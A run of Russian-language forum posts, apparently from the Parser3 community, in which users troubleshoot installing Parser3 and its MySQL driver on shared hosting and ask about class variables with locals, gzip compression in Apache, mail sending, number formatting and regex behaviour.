Клиентскую библиотеку mysql (libmysqlclient.so) можно попробовать взять и из последней версии парсера (тоже из архива для redhat 7.3). Это не наша библиотека, это библиотека mysql. Скорее всего загрузится, но не факт что будет работать, поскольку скорее всего будет отличаться путь к сокету mysql.\
\
[quote]если у меня парсер 32, бита а север Apache 64, то сервер mysql тоже 64-бита? как это узнать?[/quote]\
\
Это значит, что клиентская библиотека mysql на сервере тоже скорее всего 64 бита и надо пробовать пользовться библиотекой, идущей с парсером либо (что правильнее) использовать 64-х битную версию парсера.\
\
[quote]Код в файле такой: [/quote]\
\
Скорее всего проблема с переносами строк (они не unix). Более подробное сообщение об ошибке должно быть в error_log веб-сервера.\
\
Так понимаю, ssh доступа у вас нет? Жаль, поскольку в данном случае проще всего собрать парсер из исходных кодов и проблем не будет."
"79419","В документации по установке сказано: \
\
\"Установка SQL драйверов\
Скачайте архивы необходимыми вами SQL драйверами, и распакуйте их в каталог {куда вы установили Конфигурационный файл}/lib\"\
\
Можете подробнее описать, данное действие?\
\
\
p.s. Хостинг рег.ру, на него вообще возможно установить донную cms?"
"79420","P.S. как описать подробнее процесс распаковки архива и помещения его содержимого в определённую, указанную папку, я даже и не знаю."
"79421","А что за определенная папка? \
\
З.Ы. Т.е. в парсере нет админ панели?! — [color=\"#ff0000\"]в этом вопросе я разобрался[/color]"
"79422","Вот какая у меня получилась иерархия:\
\
~/www/sait/cgi-bin/parser3.cgi\
~/www/sait/lib/system/(файлы папки)\
~/www/sait/lib/(файлы папки)\
~/www/sait/charsets/(файлы папки)\
~/www/sait/auto.p\
~/www/sait/.htaccess\
\
Что-то напутал?"
"79423","Спасибо!"
"79424","1. вы забыли положить рядом с parser3.cgi конфигурационный auto.p (его заготовка есть в виде архива)\
2. папки lib и charsets должна быть в папке cgi-bin\
3. кажется вы положили скачанный auto.p в корень веб пространства -- это не совсем правильно, удалите его оттуда."
"79426","Поделитесь пожалуйста если кто делал генератор QR-кодов на парсере."
"79428","Подскажите пожалуйста, как правильно получать данные пользователя по параметрам, используя метод @getUser[]?\
Я делаю так, но ничего не выходит:\
- в auto.p корня сайта:\
[code]\
. . .\
$auth[^auth::init[$cookie:CLASS;$form:fields;$.csql[$oSql]]]\
[b]$getUser[^auth.getUser[]][/b]\
. . .\
[/code]\
- в моем пользовательском классе:\
[code]\
. . .\
$MAIN:getUser[$.user_id(123)]\
. . .\
[/code]\
В результате - пустое место.\
А если писать [b]^[/b]MAIN:getUser[$.user_id(123)] - то будет ошибка \"is 'table', not a method or junction, can not call it\"."
"79429","Т.е. вместо $getUser[^auth.getUser[]] надо написать $getUser[$auth.getUser], иначе вы просто сделали вызов и в переменной getUser у вас результат работы функции (таблица).\
\
Можно просто обратиться к нужной функции: ^MAIN:auth.getUser[$.user_id[12345]]\
\
Но оба эти способа плохие, поскольку противоречат очень важному принципу ООП — [url=http://ru.wikipedia.org/wiki/%C8%ED%E2%E5%F0%F1%E8%FF_%F3%EF%F0%E0%E2%EB%E5%ED%E8%FF]инверсии управления[/url] (inversion of control). В данном случае лучше сделать [url=http://ru.wikipedia.org/wiki/%D0%92%D0%BD%D0%B5%D0%B4%D1%80%D0%B5%D0%BD%D0%B8%D0%B5_%D0%B7%D0%B0%D0%B2%D0%B8%D1%81%D0%B8%D0%BC%D0%BE%D1%81%D1%82%D0%B8]внедрение зависимости[/url] через конструктор:\
[code]\
@main[]\
  ...\
  $auth[^auth::init[$cookie:CLASS;$form:fields;$.csql[$oSql]]]\
  ..\
  $mc[^MyClass::create[$.auth[$auth]]]\
  ^mc.someMethod[12345]\
\
@CLASS\
MyClass\
\
@create[aOptions]\
  $auth[$aOptions.auth]\
\
@someMethod[aUserID][locals]\
  $lUser[^auth.getUser[$.user_id[$aUserID]]]\
  ...\
[/code]\
\
В этом случае мы получили класс без привязки к глобальным переменным, переносимым, его легко тестировать и отлаживать. Обратите внимание, что именно таким образом класс auth работает с sql-классом."
"79430","А, понял, спасибо! :)"
"79431","[code]\
	^if(-f \"$lLoadName\"){\
		$Body[^file::load[binary;$lLoadName]]\
		^untaint[as-is]{$Body.text}\
		^if(^lRes.count[] > 1){\
			^Body.text.save[$lCache; $.append(true)]\
		}\
	}\
[/code]\
\
Загружаю файл (с html / css разметкой ) - показываю пользователю, сохраняю в подобие кеш файла\
\
В кеш файле вся разметка сломана. Есть ли возможнось сделать либо \
[code]^Body.text.save[$lCache; $.append(true) [color=\"#00ff00\"] $.binary(true) [/color]][/code]\
либо\
[code]^Body.save[binary;$lCache; [color=\"#00ff00\"]$.append(true) [/color]]   [/code]\
\
Ну или подскажите как правильно добавить в файл текст [as-is]\
\
Спасибо"
"79432","А как использовать locals в [b]@someMethod[aUserID][locals][/b]?\
В чем различие параметров в первых скобках от тех, что во вторых скобках?"
"79435","Как мне использовать locals, если я хочу сделать так?\
В корневом auto.p:\
[code]@auto[]\
$myClass[^MYCLASS::init[$.auth[$auth] $.iSomeId(321)]][/code]\
В myclass.p:\
[code]@init[hOptions]\
$auth[$hOptions.auth]\
$hOptions.iSomeId\
\
@show[][locals]\
[b]$self.hOptions.iSomeId[/b] [i]- почему-то пусто, а надо взять $hOptions.iSomeId из @init[][/i][/code]\
Как это осуществить?"
"79436","Не получается сделать file::load через http с этого же хоста на этот же хост http://site.ru/mydir/index.html (html обрабатывается парсером).\
Получаем ошибку \
\"load\
timeout occured while retrieving document\"\
\
При этом http://site.ru/mydir/1.txt нормально лоадится.\
Кстати с другого хоста на этом же сервере, который работает из-под апача http://site.ru/mydir/index.html нормально лоадится.\
\
P.S.: Может кому-то пригодится ...\
Была ещё проблема с реализацией REST-api - не получалось дергать /my_method/ методами PUT и DELETE\
Решилось добавлением в конфиг nginx в раздел \
server {\
....\
error_page 405 = $uri;\
	\
location / {		\
  index  index.html;\
  try_files $uri $uri/index.html;\
}\
...."
"79437","добавление в конфиг nginx опции fastcgi_ignore_client_abort on; частично решает проблему. вместо 499 ошибки получаем 200, т.е. файл грузится, но в логе nginx сначала идет с 500-й ошибкой, тот скрипт, который делает file::load а следующей строчкой идет успешная загрузка файла со статусом 200. странно :((\
\
192.168.1.50 - - [11/Jan/2014:00:44:59 +0400] \"GET /2.html HTTP/1.1\" 500 752 \"-\" \"Mozilla/5.0 (Windows NT 6.3; WOW64; rv:26.0) Gecko/20100101 Firefox/26.0\"\
192.168.1.241 - - [11/Jan/2014:00:44:59 +0400] \"GET /index.html?x=5555& HTTP/1.0\" 200 8 \"-\" \"parser3\"\
\
в логе парсера\
'load' timeout occured while retrieving document [http.timeout] [uri=/2.html, method=GET, cl=0]"
"79438","Лучше заменить\
[code]@init[hOptions][/code]\
на\
[code]\
@init[hOptions]\
$_hOptions[^hash::create[$hOptions]]\
[/code]\
И дальше с ним работать, в таком случае не будет ошибки если ничего не передадут и так точно будет работать.\
Сам по себе @init[hOptions], скорее всего не делает глобальную переменную в самом классе, а после её явного объявления все должно прийти в норму.\
Фактически она является локальной для метода, и к ней можно будет получить доступ не через self, а просто в другом методе написать $hOptions, должно будет сработать, но ... слишком много подводных камней, лучше уж явно."
"79439","[code]@OPTIONS\
locals # по умолчанию все переменные класса / объекта локальные\
\
@init[hOptions]\
$self._hOptions[^hash::create[$hOptions]] # для того, чтобы переменная _hOptions стала полем объекта, нужно явно указать это через self\
\
@show[]\
$self._hOptions.iSomeId # и так же через self к ней обращаться\
[/code]\
\
[[url=\"http://www.parser.ru/docs/lang/defineclass.htm\"]…[/url]] [quote]Так, указанная опция locals автоматически объявит локальными все переменные во всех методах определяемого класса. Если она указана, то для обращения к полям объекта или класса необходимо пользоваться системной переменной self.[/quote]\
\
Либо для отдельных методов, тогда поведение меняется только у переменных метода.\
[code]@init[hOptions] обычный конструктор\
$_hOptions[^hash::create[$hOptions]]\
\
@show[_hOptions][locals]\
$self._hOptions.iSomeId # поле объекта\
$_hOptions.iSomeId      # локальная переменная[/code]\
\
[[url=\"http://www.parser.ru/docs/lang/definemethod.htm\"]…[/url]] [quote]Если в методе явно объявить локальную переменную locals, это будет равносильно объявлению всех переменных, используемых в нем локальными. \
[b]Для обращения к переменных класса или объекта в этом случае необходимо использовать self.[/b][/quote]\
\
Выделенное полужирным не совсем верно, потому что при locals у метода к полю объекта можно обратиться и без self — он требуется лишь в случае неоднозначности (как в примере выше — приоритет у локальной переменной и она найдётся первой)."
"79440","Вот это хорошо работает и просто в понимании, решил на этом варианте остановиться:\
[code]@init[hOptions]\
$_hOptions[^hash::create[$hOptions]]\
\
@show[_hOptions][locals]\
$self._hOptions.iSomeId[/code]\
Большое спасибо! :)"
"79441","[code]\
  ^if(-f $fileName){\
#  Загружаем файлик\
     $body[^file::load[text;$fileName]]\
#  Доверяем его содержимому\
     $body[^taint[as-is][$body.text]]\
#  Дописываем в «кеш»\
     ^body.save[$cacheFileName;$.append(true]     \
  }\
[/code]\
\
Режим бинари для html/css-файлов не нужен. Если все-таки нужно записать без искажений, то надо отказаться от string.save и подумать над другой структурой хранения кеша. Поддержка бинарных файлов в Парсере ограничена по идеологическим соображениям.\
\
p.s. Функцию untaint стоит использовать только если текст содержит куски с чистыми и грязными данными одновременно и требуется перекрасить грязные куски не трогая чистые. Если нужно покрасить весь текст, то для этого лучше использовать taint — это быстрее и логичнее."
"79443","конфиг у меня лежит /etc/sysconfig/spawn-fcgi\
\
И надо не забыть в конце конфига исправить где \"-F 1\"\
OPTIONS=\"-u $FCGI_USER -g $FCGI_GROUP -s $FCGI_SOCKET -S $FCGI_EXTRA_OPTIONS -F 1 -P /var/run/spawn-fcgi.pid -- $FCGI_PROGRAM\"\
на\
OPTIONS=\"-u $FCGI_USER -g $FCGI_GROUP -s $FCGI_SOCKET -S $FCGI_EXTRA_OPTIONS -F $FCGI_CHILDREN -P /var/run/spawn-fcgi.pid -- $FCGI_PROGRAM\"\
ну и потом естественно service spawn-fcgi restart"
"79444","В парсере есть встроенный механизм для кеширования (^cache[]). Почему бы не воспользоваться им?"
"79445","под слловом \"кеш\" тут не имеется ввиду кеш результата работы парсера.\
\
данный модуль будет использован в качестве объединялки-оптимизатора скриптов и стилей\
т.е.:\
- виде параметра получает список нужных css или js \
- если такой список ещё не оптимизировался, то:\
  	   пробегает по каталогам - собирает в единый файл, \
 	    передает этот файл (в качестве пробы YUI) оптимизилке , \
  	   отдает результат клиенту\
- если уже такой список был оптимизирован\
  	   сразу отдает результат клиенту\
\
---\
Кстати: а кто какими оптимизаторами пользуется? а то после YUI в некоторых случаях стили \"отъезжают\"\
думаю в качестве CSS использовать CSSO , а для JS - Closure Compiler (но он иногда требует какихто невероятных настроек, т.е. не всегда удобен для оптимизации \"на лету\")\
---\
тег [ТАБ] тут в редакторе постов появился, но почемуто ни на что при отображении не влияет"
"79446","в вашем случае записывать binary нет совершенно никакой необходимости, т.к. обращение к полю .text объекта класса file вернёт вам текстовые данные, а не бинарные.\
\
по существу: у парсера нет механизмов, чтобы дописать binary данные в файл.\
\
однако возможно вы неправильно объяснили что вам требуется, т.к. taint/untaint никаким образом не связаны с binary данными."
"79447","совсем недавно я делал похожую объединялку файлов (чтобы уменьшить количество запросов). однако задачу оптимизации я не решал, т.к. gz-сжатие позволяет сильно уменьшить размер передаваемого файла автоматически и без лишних телодвижений."
"79448","gz сжатие хорошо документированного кода\
и\
gz сжатие чистого кода\
\
иногда дают потрясающую разницу в объеме :)"
"79449","если говорить про сферический код в вакууме, то да.\
\
если говорить про код страницы сайта (html) + js + css + картинки, то общий выигрыш от сжатия js+css получается совсем не большим. и если его сравнить с выигрышем, получаемым от прозрачного (и тривиально настраиваемого) gz-сжатия тех-же js+css, то получается, что огород городить смысла не много. а вот уменьшать количество запросов пока смысл есть, особенно если количество js и css файлов, подключаемых в одном html файле исчисляется не пальцами одной руки.\
\
но спорить не буду, т.к. возможно у вас особый случай."
"79450","Можете выложить вашу версию библиотеки для работы с sqlite?"
"79451","Это же текстовые данные, спокойно считывайте, оптимизируйте и записывайте."
"79452","Есть ли возможность использовать GZip-сжатие html-страниц в связке Apache+Parser?\
У меня в .htaccess добавлены строки:\
[code]# compress text, HTML, JavaScript, CSS, and XML\
AddOutputFilterByType DEFLATE text/plain\
AddOutputFilterByType DEFLATE text/html\
AddOutputFilterByType DEFLATE text/xml\
AddOutputFilterByType DEFLATE text/css\
AddOutputFilterByType DEFLATE application/xml\
AddOutputFilterByType DEFLATE application/xhtml+xml\
AddOutputFilterByType DEFLATE application/rss+xml\
AddOutputFilterByType DEFLATE application/javascript\
AddOutputFilterByType DEFLATE application/x-javascript\
\
# remove browser bugs\
BrowserMatch ^Mozilla/4 gzip-only-text/html\
BrowserMatch ^Mozilla/4\\.0[678] no-gzip\
BrowserMatch \\bMSIE !no-gzip !gzip-only-text/html\
Header append Vary User-Agent\
[/code]\
Mod-deflate включен.\
Скрипты и файлы стилей сжимаются.\
Но почему-то главная страница сайта не сжимается. Проверял [url=\"http://www.whatsmyip.org/http-compression-test/\"]здесь[/url]."
"79453","Иммеет смысл упаковывать файлы самостоятельно, т.е. разделить их на боевую версию и рабочую, все таки контролировать этот процесс надо бы.\
А если это какой-то сервис, который дает возможность клиенту что-то править самостоятельно в онлайн редакторе, то уже сложнее."
"79455","Посмотреть их можно через инструменты веб-браузеров для разработчиков или специальный плагины (я испольщую Firebug в Фаерфоксе). Или запустите из консоли:\
[code]curl -v --compressed site.ru[/code]"
"79456","Заголовки ответа:\
[quote]Cache-Control	no-store, no-cache, must-revalidate, proxy-revalidate\
Connection	Keep-Alive\
Content-Length	37784\
Content-Type	text/html; charset=UTF-8\
Date	Mon, 13 Jan 2014 05:28:45 GMT\
Expires	Fri, 23 Mar 2001 09:32:23 GMT\
Keep-Alive	timeout=5, max=100\
Pragma	no-cache\
Server	Apache/2.2.22 (Win32) PHP/5.4.4\
Set-Cookie	cookie=on; expires=Tue, 13 Jan 2015 05:28:45 GMT; path=/[/quote]\
\
Заголовки запроса:\
[quote]Accept	text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\
Accept-Encoding	gzip, deflate\
Accept-Language	ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3\
Cache-Control	max-age=0\
Connection	keep-alive\
Cookie	cookie=on; auth.persistent=1; auth.uid=192.168.0.3%3ANULL%3D18ec699c7cb386b3fac65fc7a492dab4; auth.sid=192.168.0.3%3ANULL%3D3d5406ba6074ead9774c77a62e69797f; auth.name=admin; auth.uid.updated=2014-01-12%2021%3A07%3A32\
Host	dubophone.ru\
User-Agent	Mozilla/5.0 (Windows NT 6.1; rv:26.0) Gecko/20100101 Firefox/26.0[/quote]"
"79457","Возможно у вас где-то еще удаляется фильтр для text/html, например директивой RemoveOutputFilter.\
\
p.s. Конфиг у вас нормальный. Мой вариант немного другой, но принципиально он ничего не меняет:\
[code]<IfModule deflate_module>\
AddEncoding gzip .gz\
\
AddOutputFilterByType DEFLATE text/html\
AddOutputFilterByType DEFLATE text/plain\
AddOutputFilterByType DEFLATE text/xml\
AddOutputFilterByType DEFLATE application/xml\
\
AddOutputFilterByType DEFLATE image/x-icon\
AddOutputFilterByType DEFLATE text/css\
AddOutputFilterByType DEFLATE text/javascript\
AddOutputFilterByType DEFLATE application/javascript\
AddOutputFilterByType DEFLATE application/x-javascript\
\
DeflateCompressionLevel 9\
DeflateWindowSize 15\
\
BrowserMatch ^Mozilla/4 gzip-only-text/html\
BrowserMatch ^Mozilla/4\\.0[678] no-gzip\
BrowserMatch \\bMSIE !no-gzip !gzip-only-text/html\
SetEnvIfNoCase Request_URI \\\
        \\.(?:gif|jpe?g|png)$ no-gzip dont-vary\
        Header append Vary User-Agent env=!dont-vary\
</IFModule>[/code]"
"79458","Ладно, не получается, и фиг с ним. Все-таки это не так важно. :)"
"79459","Как выяснилось, поле tables у результата curl:load не поддерживается.\
Обратиться к заголовкам можно по имени, но получить списком все имеющиеся заголовки нельзя.\
Иметь такую возможность полезно в целях отладки, и дабы не перебирать заголовки в случае их нестандартности.\
\
С ненужностью именно tables согласен — редкий заголовок приходит дважды, — но список в виде хеша был бы полезен."
"79460","[code]\
   $f[^curl:load[$.url[http://ya.ru]]]\
   $f[^json:parse[^json:string[$f]]]\
   ^f.foreach[k;v]{\
     ^if(^k.match[^^[A-Z]+][n]){\
       $k -> $v\
     }\
   }\
[/code]\
\
Т.е. налицо две проблемы: поле fields в file нужно для некоторых задач, нет простого способа доступа к списку полей системных классов (reflection:fileds, hash::create для них не работают).\
\
Мне кажется, что лучше решить вторую проблему, хотя там есть сложности (например, не понятно что делать со свойствами, например, с table.fields).\
\
p.s. Эту тему обсуждали в тикете 909."
"79462","Поиск по форуму подсказал мне, что стоит скачать libmysqlclient.so с http://dev.mysql.com/downloads/mysql/, положить его на сервер и прописать путь в auto.p.\
\
Подскажите, пожалуйста, какую платформу мне нужно выбрать на сайте mysql и какой имеено файл скачать. Я уже пробовал разные архивы скачивать, но там файл libmysqlclient.so весит всего 20 байт...\
\
Данные о хостинге:\
Хостер: sweb.ru\
OS: Linux 3.10.17\
Server Version: 5.1.70-log - Gentoo Linux mysql-5.1.70\
\
Заранее спасибо!"
"79463","этот 20-байтный libmysqlclient.so -- это просто ссылка.\
возьмите ту либу, на которую она ссылается (libmysqlclient.so.NN), и переименуйте в libmysqlclient.so или в конфиге укажите ссылку на него."
"79464","Спасибо! Скачал Linux - Generic (glibc 2.5) (x86, 32-bit), Compressed TAR Archive. Оттуда взял libmysqlclient.so.18.1.0 и положил его в папку с библиотекой. В auto.p прописал:\
[code]$SQL[\
	$.drivers[^table::create{protocol	driver	client\
mysql	$sqldriversdir/libparser3mysql.so	$sqldriversdir/libmysqlclient.so.18.1.0\
sqlite	$sqldriversdir/libparser3sqlite.so	sqlite3.so\
pgsql	$sqldriversdir/libparser3pgsql.so	libpq.so\
oracle	$sqldriversdir/libparser3oracle.so	/u01/app/oracle/product/8.1.5/lib/libclntsh.so?ORACLE_HOME=/u01/app/oracle/product/8.1.5&ORA_NLS33=/u01/app/oracle/product/8.1.5/ocommon/nls/admin/data\
}]\
][/code]\
\
Теперь выдаёт ошибку Can't connect to local MySQL server through socket '/tmp/mysql.sock' (2)\
\
Внятного решения в поиске не нашёл. Помогите, пожалуйста, куда двигаться дальше?"
"79465","Правильнее поставить 64-х битную версию парсера, судя по ошибке Linux 64-х битный."
"79466","Это значит, что библиотека mysql собрана с другими настройками, чем mysql сервер и mysql клиент на сервере.\
\
Если есть доступ к шелл, можно сделать симлинк в правильное место.\
ln -s <правильный путь к mysql.sock> /tmp/mysql.sock\
\
Судя по интернету, правильным путем в Gentoo будет /var/run/mysql/mysqld.sock\
\
Альтернативно искать правильную библиотеку."
"79467","Давно еще заметил, что Parser убирает табуляционные отступы в разметке сайта.\
Например, index.html:\
[code]<ul>\
	<li><a href=\"/news/\">Новости</a></li>\
	<li><a href=\"/video/\">Видео</a></li>\
	. . .\
</ul>[/code]\
А в итоге получается:\
[code]<ul>\
<li><a href=\"/news/\">Новости</a></li>\
<li><a href=\"/video/\">Видео</a></li>\
. . .\
</ul>[/code]\
Как сделать, чтобы отступы все же были?\
\
[b]UPD:[/b]\
Изменил метод @postprocess[] следующим образом:\
[code]$result[^taint[as-is][$sBody]][/code]\
Отступы появились, но также появилось много ненужных пустых строк.\
\
Предполагаю, что можно как-то создать свою таблицу преобразований текста, чтобы, к примеру, все пробельные символы оптимизировались, кроме табуляции. Подскажите как это сделать, если это вообще возможно?"
"79468","если кроме пробела еще надо схлопнуть что-то - добавить его в  символьный класс [ ]. Вместо пробела, для наглядности можно использовать ^#20, если мне не изменяет память"
"79469","Правильнее будет ^str.match[\\s+][g]{ }.\
Но мне нужно не схлопнуть, а наоборот расхлопнуть и только табуляцию."
"79470","Та же самая ошибка на данном хостинге. \
Стоит: [code]Parser/3.3.0 (compiled on i686-pc-linux-gnu)[/code]\
Ошибка:\
[code]Работа с SQL\
\
Выполнение простого SQL запроса ^int:sql{SELECT 2+2}:\
Что-то непонятное с SQL. Возможно не положены куда надо драйвера. \
Сообщение об ошибке:\
\
driver failed to initialize client library 'libmysqlclient.so', /usr/lib/libmysqlclient.so: wrong ELF class: ELFCLASS64 \
$sqldriversdir/libparser3mysql.so[/code]\
\
Есть ли у кого \"правильная\" библиотека для него?"
"79471","еще можно сокет рядом с либой положить, тогда его тоже должно найти."
"79474","Вот сообщения из логов какие были(и есть некоторые):\
[quote]/www/mizter.ru/auto.p(102:47): 'send' The mail server doesn't like the name mizter@mizter.ru. Have you set the 'To: ' field correctly? [smtp.execute] [uri=/, method=POST, cl=188]\
/www/mizter.ru/auto.p(102:47): 'send' connect to ox10.atservers.net:25 failed [smtp.connect][/quote]\
Вот что в парсере прописано:\
[code]$MAIL[\
	$.SMTP[ox10m.atservers.net]\
]#это в конфигурационном auto.p\
<form method=\"POST\">#это в корневом auto.p\
	Тема: <input name=\"subject\"><br/>\
	Текст: <input name=\"texting\"><br/>\
	<input type=\"submit\" value=\"отправить\" name=\"posted\" class=\"submit\">\
</form>\
^if(def $form:subject && def $form:texting){\
	^mail:send[\
		$.from[Mizter Egoist <mizter@mizter.ru>]\
		$.to[Mizter Egoist <mizter@mizter.ru>]\
		$.subject[$form:subject]\
		$.text[$form:texting]\
	]\
}[/code]\
Помогите настроить отправку почты, между локальными адресами почты и на внешние сайты."
"79475","попробуйте написать так:\
[code]\
$.to[mizter@mizter.ru]\
[/code]\
\
увы, некоторые sendmail-ы не понимают почтовые адреса в том виде, в котором вы его написали."
"79476","Прописал:\
[code]$MAIL[\
	$.sendmail[/usr/sbin/sendmail -i -t -f postmaster]\
][/code]\
и в логах появилось:\
[quote]/www/mizter.ru/auto.p(102:47): 'send' Parser was configured with --with-sendmail=/usr/sbin/sendmail -i -t -f postmaster key, to change sendmail you should reconfigure and recompie it [parser.runtime] [uri=/, method=POST, cl=89][/quote]\
activecloud написал:\
[quote]Исходящие SMTP соединения на серверах виртуального хостинга запрещены.[/quote]"
"79477","в бинарных версиях, распространяемых с сайта parser.ru, задана команда /usr/sbin/sendmail -i -t -f postmaster \
\
http://www.parser.ru/docs/lang/parserconfmethod.htm"
"79478","У меня стоит для 64-битной ОС CentOS, RedHat который Я скачал с сайта"
"79479","[quote]Прописал:\
$MAIL[\
...][/quote]\
\
А вы не пробовали не прописывать $MAIL в конфигурационном auto.p?\
Настройка по умолчанию (использование системного sendmail) подходит в большинстве случаев.\
\
[quote]Исходящие SMTP соединения на серверах виртуального хостинга запрещены.[/quote]\
\
Защита от расылки спама."
"79480","Получается мне нужно самому собирать или использовать SMTP?"
"79481","Спасибо, помогло. Убрал $MAIL и теперь все в порядке"
"79482","Задача - красиво выводить числа для пользователя. (без нулей в конце и без e-...).\
\
Дано: $t(0.000034)\
1. $t => \"3.4e-05\"\
2. ^t.format[%.8f] => \"0.00003400\"\
А также если $t(25) - то выйдет 25.00000000\
\
В первом случае вообще не устраивает такой вывод для пользователя\
Во втором - нули в конце. Я ведь не знаю какое изначально число, и применяю %.8f для всех. А может %.4f??? А может...\
Выходит что нужно что-то придумывать:\
\
[code]\
@num[n]\
^if($n==0){$nc[0]}{\
$nc[^n.format[%.4f]]\
^if($nc==0){$nc[^n.format[%.8f]]}\
$nc[^nc.match[\\.?0+^$][g]{}]\
}\
$result[$nc]\
[/code]\
\
Наверняка есть менее ресурсоемкий путь. Подскажите!"
"79483","[code]\
@main[]\
  ^formatNumeric(12.34500)\
  ^formatNumeric(12.00000)\
  ^formatNumeric(12.3248099300)(2)\
\
@formatNumeric[aValue;aFracLen]\
  $result[^aValue.format[%.^aFracLen.int(8)f]]\
  $result[^result.trim[right;.0]]\
[/code]\
\
p.s. Мне кажется, что вы этот вопрос уже задавали — http://www.parser.ru/forum/?id=77840"
"79484","Да. Задавал. Но теперь ответ лучше :) Уж совсем не хочется матчить каждую цифру. Похоже Ваш вариант быстрее."
"79485","[quote]Похоже Ваш вариант быстрее.[/quote]\
\
это в корне неверный подход.\
если для вас очень важна скорость -- надо взять и протестировать, а не гадать. написать тест -- дело 5 минут."
"79486","На 1kk операций:\
0.00012731481547234580 - match\
0.00006944444430700969 - trim\
Вариант Сумо быстрее.\
Спасибо!"
"79488","[code]\
@formatNumeric[aValue;aFracLen][locals]\
  $aFracLen(^aFracLen.int(8))\
  ^if($aFracLen){\
    $lInteger(^math:trunc($aValue))\
    $lFrac(^math:frac($aValue))\
    $lFrac[^lFrac.format[%.${aFracLen}f]]]\
    $lFrac[^lFrac.mid(^lFrac.pos[.])]\
    $result[$lInteger^lFrac.trim[right;.0]]\
  }{\
     $result[^math:round($aValue)]\
   }\
[/code]"
"79490","регулярные выражения не такие уж и медленные.\
кроме того, код с их использованием (например для данного случая) оказывается гораздо понятнее и компактнее. и в коде нет кучи других строковых операций которые создают тележку промежуточных строк (минус память, которую потом надо собрать, потратив на это время).\
\
это я к тому, что вот данный конкретный код очень даже может оказаться хуже кода с одной регуляркой.\
надо реализовать и потом потестировать (и время и память).\
\
P.S. я знаю, что ты это знаешь. это сообщение фактически адресовано данному фрагменту кода и тем, кто за ним придёт."
"79493","Интересно было сделать без них, но когда вспомнил про округление, отрицательные числа и пр. получилось громоздко."
"79494","Для истории предложу и такой вариант:\
\
[code]@print[n]\
^if(^math:abs($n)>1000000000000000){\
    $result[^n.format[%.0f]]\
}(^math:abs($n<0.0001)){\
    $result[^n.format[%.32f]]\
    $result[^result.trim[right;0]]\
    $result[^result.trim[right;.]]\
}{\
    $result[$n]\
}\
[/code]\
\
Но у печати в \"человеческом\" виде double, который на самом деле предназначен для хранения чисел в экспоненциальной форме есть и свои минусы. Скажем $n(1e37) и результат работы метода ^print($n) вам уже не очень понравится (и связан он с тем, что у double 17 значащих цифр, а не 37). Плюс большие числа, скажем 1e300 уже не поддерживаются (да и едва ли кто-то готов считать 300 нулей).\
\
С другой стороны, задача частая и возможно имеет смысл сделать какой-нибудь встроенный формат, который выводил бы double схожим образом."
"79495","Добрый день.\
В парсере версии 3.4.3 в доке написано: \"m - символ $ считать концом строки, но не всего текста;\".\
Если использовать \\s (\"пропуск, обычно [ \\f\\n\\r\\t]\") и m, то каким-то образом предыдущая строка попадает в результат.\
\
Ниже пример с 2-мя способами получения результата: с использованием \\s и пробела.\
[code]	$sText[ text1 <tag>text2&nbsp^;</tag>\
<br>\
 <tag>text3&nbsp^;&nbsp^;&nbsp^;</tag>\
<br>]\
	$sResult[]\
	$sResult1[]\
	$tTemp[^sText.match[^^\\s*((?!\\s*<tag>).+?)?\\s*<tag>\\s*((?!\\s*&nbsp^;).+?)\\s*&nbsp^;.*^$][gim]]\
	$tTemp1[^sText.match[^^\\s*((?![ ]*<tag>).+?)?[ ]*<tag>\\s*((?!\\s*&nbsp^;).+?)\\s*&nbsp^;.*^$][gim]]\
	^if(def $tTemp){\
		$sResult[^tTemp.menu{^if(def $tTemp.1){[$tTemp.1] }$tTemp.2}[, ]]\
		$sResult1[^tTemp1.menu{^if(def $tTemp1.1){[$tTemp1.1] }$tTemp1.2}[, ]]\
	}\
	<pre>$sResult</pre>\
	<pre>$sResult1</pre>[/code]\
\
В итоге в первом случае, когда в условии используется \\s, каким-то образом цепляется <br> из предыдущей строки.\
Во втором случае все нормально.\
\
Если так и должно быть, то где почитать про подобные случаи, когда один ключ игнорирует другой?\
Заранее спасибо."
"79497","Хочу получить текст до тега в квадратных скобках, потом пробел и текст в тегах до &nbsp^;\
Все найденные значения из всех строк текста разделяются \", \".\
\
В итоге должно получиться [text1] text2, text3, а сочетание \\s и m выдают [text1] text2, [<br>] text3."
"79498","Это значит, что ^ и $ будут совпадать с началом и концом каждой строки. Если этого параметра нет, совпадение будет только с началом и концом всего текста. <br> как вы его назвали это \\n (перенос строки) это как Enter, он входит в шаблон пробельных символов \\s."
"79499","[code]$tTemp[^sText.match[(\\w+)?\\s+<tag>(.+)&nbsp^;</tag>][gim]]\
	^if(def $tTemp){\
		$sResult[^tTemp.menu{^if(def $tTemp.1){[$tTemp.1] }$tTemp.2}[, ]]\
	}[/code]\
Так будет все более наглядно, вопрос только будет в наборе символов, для первой группы.\
\
[b]add[/b] Просто не используйте жадный поиск и будет вам счастье."
"79500","Текст до тега может быть любой, а может не быть вообще.\
Также могут быть пробелы в начале каждой строки и перед тегом, а могут и не быть."
"79501","Парсится HTML, в котором в коде прописан текст по образцу из первого поста.\
В матче указаны ^ и $, поэтому я ожидал, что \\s будет работать в пределах одной строки, т.к. указан ключ m, но этого не происходит.\
В данном случае <br> обрабатывается как текст, а не как \\n, если только парсер принудительно не конвертирует текст в символ переноса."
"79502","Будет или нет решается через (\\w+)?\
Итоговое решение ([\\wА-Я-а-я]+)?(?:\\s+)?<tag>(.+)&nbsp;.+?</tag>\
пробел в начале просто будет игнорироваться"
"79503","Строка-то не закончилась.\
Перевод строки в HTML и в тексте — разные вещи."
"79504","1. какую задачу вы решаете?\
2. сколько строк по вашему в приведенном вами коде $sText?\
3. зачем такие страшные регулярки, жестко привязанные к структуре текста, разбейте на попроще\
Всё, до первого <tag> ищется как ^^([^^<]*), если там не может быть тегов, если могут быть то ^^(.*?)<tag>\
Содержимое самих тегов найдите отдельно: <tag>([^^<]+)</tag>, а потом уже выбросите из найденного nbsp  с помощью replace\
\
но 1 вопрос самый важный"
"79505","Есть удаленный интерфейс без API, поэтому приходится парсить HTML."
"79506","Как я понимаю, строка при ключе m - это энтер, а <br> в примере разделен с 2 сторон энтерами, т.е. является отдельной строкой."
"79507","Если речь об исходном коде\
[code]$sText[ text1 <tag>text2&nbsp^;</tag>\
<br>\
 <tag>text3&nbsp^;&nbsp^;&nbsp^;</tag>\
<br>][/code]\
, то <br> — вторая и четвёртая строки.\
\
Но есть подозрение, что в исходном HTML-коде, которые приходит извне, это не так.\
Нужно увидеть реальные данные в исходном виде."
